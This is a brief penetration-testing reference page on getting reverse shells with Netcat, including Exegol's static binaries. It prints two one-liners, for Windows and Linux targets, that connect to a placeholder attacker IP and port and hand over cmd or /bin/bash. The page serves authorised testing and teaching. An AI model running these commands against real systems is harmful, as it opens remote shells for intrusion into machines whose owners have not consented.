RTFM_ security field notes

Netcat: reverse shells

Obtain a reverse shell with the static nc binaries shipped in Exegol.

Netcat is a general-purpose network utility for Windows, macOS and Linux. During a penetration test it can provide a reverse shell. Static nc binaries are available in the /opt/resources/linux/ and /opt/resources/windows/ directories of Exegol.

The examples require a Netcat build supporting -e; OpenBSD netcat commonly does not. A reverse connection also requires a reachable listener.

rem Windows target
nc.exe <ATTACKER IP> <ATTACKER PORT> -e cmd
# Linux target
nc <ATTACKER IP> <ATTACKER PORT> -e /bin/bash
Provenance and confidence
Version
2
Sources reviewed
2026-11-23
Confidence
medium — Legacy RTFM; v2 editorial review on 2026-11-23 adds Netcat build and listener prerequisites. No connection test.

Also searched as: netcat, nc, reverse shell, shell inversé, couteau suisse réseau